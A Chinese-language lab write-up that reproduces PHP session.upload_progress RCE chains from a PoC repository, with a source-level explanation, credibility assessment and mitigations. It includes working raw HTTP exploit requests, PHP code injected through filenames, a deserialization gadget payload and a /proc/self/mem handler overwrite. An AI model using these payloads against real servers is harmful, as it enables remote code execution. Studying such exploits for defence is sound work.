CVE-2026-109618/109619 复现
php2shell 漏洞复现手册补充文章
目标项目:
/root/php2shell-poc-main
声明漏洞:CVE-2026-109618 / CVE-2026-109619(PHPsession.upload_progress相关 RCE)
影响版本(项目自述):PHP 5.4.0 ~ 8.5.11
本文只依据仓库内源码撰写,所有命令均在项目自带 Docker 靶场(lab/)内验证性复现。免责声明:以下内容仅用于授权渗透测试与安全教育。请在你有权测试的环境(例如本仓库的本地 Docker 靶场)中操作。
一、源码结构与功能盘点
| 目录/文件 | 作用 |
|---|---|
lab/setup.sh | 一键生成 webroot + php.ini + nginx.conf + www.conf + docker-compose.yml,并 docker compose up -d |
lab/docker-compose.yml | 三个容器:php-fpm(8.2-fpm,单 worker)、nginx(对外 18080)、apache(mod_php,对外 18081) |
lab/php-apache.ini | Apache mod_php 的 php.ini,memory_limit=32M 便于触发 OOM |
poc/verify_session_injection.py | Chain A 验证:会话注入(filename 写入原始内容) |
poc/verify_handler_mismatch.py | Chain C 验证:php_serialize ↔ php 反序列化处理器不匹配 |
poc/verify_oom_trigger.py | Chain D 验证:multipart 头部/嵌套数组/no-length 三种 OOM 触发 |
poc/verify_fpm_stale_state.py | Chain E 验证:producer OOM → consumer 消费残留 BG(unserialize) |
poc/verify_uaf_asan.php | Chain B 验证:在 ASAN 版 PHP 上触发 var_destroy 重入 UAF |
exploit/chain_a_session_lfi.py | 会话注入 + LFI → RCE(完整可用) |
exploit/chain_b_uaf_rce.php | 声称 UAF→RCE,实际靠 /proc/self/mem 覆盖 var_dump handler |
exploit/chain_c_mismatch_rce.py | 处理器不匹配 → __destruct → RCE |
detection/ | Suricata/Sigma/ModSecurity/OpenResty-Lua 检测规则 |
lab/setup.sh 生成的靶场关键源码(复现的对象):
// webroot/index.php —— 任何 POST 都会经过 SAPI 的 rfc1867 处理器
<?php session_start(); echo "PHP ".PHP_VERSION."\n"; echo "OK\n"; ?>
// webroot/vuln.php —— LFI 汇聚点(Chain A 的 include sink)
<?php $page = $_GET['page'] ?? 'home'; include($page); ?>
// webroot/destruct_test.php —— 定义带 __destruct 的 Evil 类(Chain C 触发点)
<?php class Evil { public $cmd;
public function __destruct(){ if($this->cmd){ system($this->cmd); } } }
session_start(); echo "OK\n"; ?>
// webroot/app/.user.ini -> session.serialize_handler = php_serialize
// webroot/api/.user.ini -> session.serialize_handler = php
关键配置(lab/setup.sh 写入的 php.ini):
session.save_path = /tmp/sessions
session.use_only_cookies = 0
session.upload_progress.enabled = On
session.upload_progress.cleanup = Off ; 便于稳定复现,无需竞态
memory_limit = 32M
二、漏洞原理(源码级)
整个利用链的“入口原语”只有一个:PHP 在处理 multipart 上传时,session.upload_progress 处理器会在应用代码运行之前,把请求体里的会话 ID 和上传文件名写入 session 文件,且两者都未做有效校验。
- 会话固定(session fixation):
MULTIPART_EVENT_FORMDATA分支从 POST 体里读取PHPSESSID字段并接受,不检查session.use_only_cookies(靶场里该值为0)。于是攻击者用请求体字段就能控制 session 文件名sess_<SID>。 - 文件名注入:
FILE_START分支把上传的filename原样(add_assoc_string_ex)写进 session 数据,无过滤、无编码、无长度限制。因此filename="<?php system('id');?>"会被原样写进sess_<SID>文件。 - Chain A:把 1+2 组合,再加上应用任意一个 LFI(
include($page)),include('/tmp/sessions/sess_<SID>')就会执行注入的 PHP → RCE。 - Chain C:不同目录使用不同的
session.serialize_handler(/app/=php_serialize,/api/=php)。php_serialize写出的文件被php处理器按key|value格式解析,遇到 filename 里的|会把它后面的内容当作序列化对象反序列化;即使随后因尾部数据导致解码失败,__destruct已经在PHP_VAR_UNSERIALIZE_DESTROY清理阶段触发 → 反序列化 RCE。 - Chain B / D / E:项目声称还有基于
var_destroy重入 UAF(B)与 OOMlongjmp破坏 Zend 引擎状态(D/E)的更底层漏洞。注意:仓库并未给出这些链的可武器化代码,详见第六节的可信度评估。
三、环境搭建
cd /root/php2shell-poc-main/lab
chmod +x setup.sh && ./setup.sh
setup.sh 会生成所有配置并启动容器。启动后:
http://127.0.0.1:18080—— nginx + PHP-FPM(用于 Chain A/B/C/E)http://127.0.0.1:18081—— Apache mod_php(用于 Chain D)
仓库里提交的
docker-compose.yml引用了php.ini、www.conf、nginx.conf,这些文件只有跑过setup.sh才会生成,所以首次必须用setup.sh,不能直接docker compose up -d。
验证靶场:
curl -s http://127.0.0.1:18080/index.php # 期望输出 PHP 8.2.x / OK
curl -s http://127.0.0.1:18081/index.php
四、自动复现(使用仓库自带脚本)
4.1 Chain A:会话注入 + LFI → RCE(最稳定)
cd /root/php2shell-poc-main
python3 exploit/chain_a_session_lfi.py \
--host 127.0.0.1 --port 18080 \
--inject-path /index.php --lfi-path /vuln.php \
--session-path /tmp/sessions --command 'id'
脚本逻辑(exploit/chain_a_session_lfi.py):向 /index.php 发一个 multipart POST,请求体包含 PHPSESSID 字段、PHP_SESSION_UPLOAD_PROGRESS 字段、以及 filename="<?php ... system('id') ...?>" 的文件字段;随后请求 GET /vuln.php?page=/tmp/sessions/sess_<SID>。若响应体中出现 ___START__...___END__ 包裹的命令回显,则打印 RCE CONFIRMED。
可加 --cleanup-on 以应对目标 session.upload_progress.cleanup=On(默认开启)的情形:脚本会保持写入请求不结束,并在 --delay 后再触发 LFI 做竞态。
4.2 Chain C:处理器不匹配 → __destruct → RCE
python3 exploit/chain_c_mismatch_rce.py \
--host 127.0.0.1 --port 18080 \
--pollute-path /app_serialize.php \
--upload-path /nosession.php \
--trigger-path /destruct_test.php \
--command 'id > /tmp/rce_proof.txt 2>&1'
三阶段:① 反复访问 /app_serialize.php 污染 FPM worker 的 PS(serializer);② 在 filename 中携带 x|O:4:"Evil":1:{s:3:"cmd";s:N:"<cmd>";} 的载荷上传;③ 用同一 SID 访问 /destruct_test.php(php 处理器 + Evil 类)触发反序列化与 __destruct。执行结果写在容器内 /tmp/rce_proof.txt。
该链依赖“污染到的 worker”与“触发请求落到同一 worker”,靶场把 FPM 配成
pm=static, max_children=1正是为保证确定性。
4.3 Chain B:var_destroy UAF(Docker 内直接跑)
docker exec -it php2shell-fpm php /var/www/html/../../chain_b_uaf_rce.php # 需先把脚本拷进容器
更现实的用法是把 exploit/chain_b_uaf_rce.php 放到已能执行 PHP 的位置再运行。它会:读 /proc/self/maps 定位 PHP 基址 → 读 /proc/self/mem 遍历函数表找到 zif_system 与 var_dump 的 handler 指针 → 写 /proc/self/mem 把 var_dump 的 handler 改成 zif_system → var_dump('id > /tmp/.rce') 落到 system()。
ASAN 验证(需要 ASAN 构建的 PHP):
docker run --rm -v /root/php2shell-poc-main:/poc php:8.2-cli \
sh -c 'USE_ZEND_ALLOC=0 php /poc/poc/verify_uaf_asan.php'
4.4 Chain D / E 验证脚本
python3 poc/verify_oom_trigger.py --host 127.0.0.1 --port 18081 --strategy headers --num-headers 5000
python3 poc/verify_fpm_stale_state.py --target http://127.0.0.1:18080
这两个脚本只做“症状验证”:D 观察是否返回 500 / 连接断开;E 观察 producer 是否 OOM、consumer 是否出现 Session object destruction failed。它们不产生 RCE。
五、手动复现(原始 HTTP 请求,不依赖脚本)
以下用 nc/手写请求演示,便于理解协议层细节。会话 ID 只需由 [a-zA-Z0-9,-] 组成(下划线会被 php_session_valid_key 拒绝)。
5.1 Chain A 手动步骤
第 1 步:注入会话(把 PHP 代码塞进 filename)
POST /index.php HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: multipart/form-data; boundary=AAABBBCCC
Content-Length: <按实际正文长度填写>
Cookie: PHPSESSID=exploitsid12345
Connection: close
--AAABBBCCC
Content-Disposition: form-data; name="PHPSESSID"
exploitsid12345
--AAABBBCCC
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
--AAABBBCCC
Content-Disposition: form-data; name="f"; filename="<?php echo '___S___'; system('id'); echo '___E___';?>"
Z
--AAABBBCCC--
要点:
name="PHPSESSID"字段让你在use_only_cookies=1时也能控制 SID(靶场设为 0,本身就允许)。PHP_SESSION_UPLOAD_PROGRESS字段是触发upload_progress处理器写 session 的开关。filename=的值会被原样写进sess_exploitsid12345。
第 2 步:确认会话文件已写入(靶场容器内)
docker exec php2shell-fpm cat /tmp/sessions/sess_exploitsid12345
# 期望看到 filename 原文,例如 ..."<?php echo ... system('id') ...?>"...
第 3 步:用 LFI 包含该会话文件
GET /vuln.php?page=/tmp/sessions/sess_exploitsid12345 HTTP/1.1
Host: 127.0.0.1:18080
Cookie: PHPSESSID=exploitsid12345
Connection: close
响应体中 ___S___ 与 ___E___ 之间即为 id 命令输出 → RCE。
若目标开启了
session.upload_progress.cleanup=On(PHP 默认),会话文件会在上传后被删除。此时需要竞态:让第 1 步的请求发送完 filename 头之后不结束(即Content-Length声明很大但只发一部分),在处理器已FILE_START却尚未清理的窗口内执行第 2/3 步。这正是脚本inject_session_stalled()+--cleanup-on --delay做的事。靶场里cleanup=Off,可省略竞态。
5.2 Chain C 手动步骤
第 1 步:写入用 php_serialize 格式的会话(走 /app/,.user.ini 指定 php_serialize)
POST /app/upload.php HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: multipart/form-data; boundary=EXPLOIT
Content-Length: <len>
Cookie: PHPSESSID=mismatchsid0001
Connection: close
--EXPLOIT
Content-Disposition: form-data; name="PHPSESSID"
mismatchsid0001
--EXPLOIT
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
--EXPLOIT
Content-Disposition: form-data; name="f"; filename="x|O:4:\"Evil\":1:{s:3:\"cmd\";s:22:\"id > /tmp/rce_proof.txt\";}"
Z
--EXPLOIT--
主体思想:filename 内包含 | + 序列化对象 O:4:"Evil":{...},在 php_serialize 下被写入会话文件。
第 2 步:用 php 处理器读取同一会话(走 /api/endpoint.php,.user.ini 指定 php),触发反序列化
GET /api/endpoint.php HTTP/1.1
Host: 127.0.0.1:18080
Cookie: PHPSESSID=mismatchsid0001
Connection: close
php 处理器在文件里扫描 | 并反序列化其后的 O:4:"Evil"...,随后因尾部数据解码失败,但 Evil::__destruct 已执行,system() 被调用。
第 3 步:查看结果
docker exec php2shell-fpm cat /tmp/rce_proof.txt
真实目标上的可武器化版本需要:两个目录 handler 不一致 + 目标已加载带可用
__destruct的类(Laravel 的PendingBroadcast、Symfony 的相关 gadget 等)。仓库里用的是靶场自带的Evil类。
5.3 Chain B 手动步骤
exploit/chain_b_uaf_rce.php 本身不包含通过漏洞获取内存读写的代码,它假定已经能在目标上运行 PHP,然后:
/proc/self/maps找 PHP 可执行段基址;- 用硬编码偏移
$base+0x1420900定位EG(),再遍历函数表找zif_system、var_dump的 handler 地址; - 打开
/proc/self/mem(r+b)把var_dump的 handler 指针改写成zif_system; var_dump('id > /tmp/.rce')→ 实际调用system()。
手动复现即:把该文件放到目标可写目录并以目标 PHP 执行 php chain_b_uaf_rce.php,然后 cat /tmp/.rce。
5.4 Chain D / E 手动步骤
- D(Apache mod_php OOM):向
http://127.0.0.1:18081/index.php发multipart/form-dataPOST,单个 part 内塞入数千个自定义响应头(X-Pad-i: AAAA...,每头 ~500B),或大量深度嵌套字段名f[0][1]...,使rfc1867在memory_limit=32M下 OOM。观察是否返回 500/连接断开。 - E(FPM 残留状态):先用超大 filename 反复上传,把
sess_<SID>撑到 ~30MB;再GET /session_oom.php(Cookie: PHPSESSID=<该SID>)让session_start()解码时 OOM;紧接着向/index.php发一个带PHP_SESSION_UPLOAD_PROGRESS的 POST,观察响应是否出现Session object destruction failed/Failed to decode。
六、源码分析与可信度评估(重要)
这一点必须讲清楚,避免误用:
- Chain A 是真实且可稳定复现的。 它本质是安全社区早已公开的“
session.upload_progress+ LFI”技巧的重述,exploit/chain_a_session_lfi.py与poc/verify_session_injection.py逻辑自洽,在自带靶场中能直接打通。工程上把它当作“会话文件注入 + LFI”的标准打法即可。 - Chain C 的机制(
php_serialize↔php处理器不匹配导致反序列化)是已知公开技术(项目也引用了 cnpanda、PHP Bug #71101)。仓库脚本思路成立,但存在若干真实目标上会很脆弱的点:依赖 worker 污染命中同一进程、依赖 filename 内引号转义被正确处理、依赖目标已加载可用 gadget 类。靶场因max_children=1+ 自带Evil类而侥幸成立。 - Chain B 的
chain_b_uaf_rce.php名不符实。 它声称利用var_destroyUAF,但代码里没有任何触发/利用该 UAF 的部分,实际完全依赖“已能在本机运行 PHP 并读写/proc/self/mem”这一前置条件——这是拿到代码执行之后的技术,不是漏洞利用原语。其中的EG()偏移0x1420900是硬编码的,换 PHP 版本/构建即失效。真正能证明该 UAF 的只有poc/verify_uaf_asan.php(需 ASAN 构建的 PHP 才能观察到 heap-use-after-free)。 - Chain D / E 只有“症状验证”,没有可武器化利用代码。
verify_oom_trigger.py只是发大包并观察 500/断连,verify_fpm_stale_state.py只是观察错误信息,二者都无法证明“内存破坏”或“RCE”。项目把这两条链的“完整利用代码”放到了付费订阅后面(docs/substack_article.md),仓库内无法验证其真实性。 - 对外引用的可核查性存疑。 README/文章引用的 CVE 编号、GHSA 链接、补丁 commit(
3584a98)、Substack 文章等,无法从本仓库源码本身证实。评估影响面时应以 PHP 官方公告与php-src提交为准,不要直接采信本仓库的版本矩阵与 CVSS。
结论:本仓库可直接复现并作为有效 PoC 使用的是 Chain A(会话注入 + LFI),Chain C 在特定配置下机制成立;Chain B 代码与描述不符,Chain D/E 缺乏可验证的利用代码。使用前请先按第六节逐条核实,尤其是准备将其用于生产环境风险判断时。
七、缓解措施(来自仓库,供参考)
session.upload_progress.enabled = Off ; 直接关掉主入口,杀伤最大
session.use_only_cookies = On ; 阻止请求体固定 SID
session.use_strict_mode = On
session.serialize_handler = php_serialize ; 全站统一 handler,避免不匹配
仓库自带的 WAF/IDS 规则(detection/)核心思路一致:拦截 multipart/form-data 请求体中出现的 PHP_SESSION_UPLOAD_PROGRESS 与 name="PHPSESSID" 字段。项目自述“唯一彻底的修复是升级被修复的 PHP 版本”。
exp:https://github.com/360859569/php2shell-poc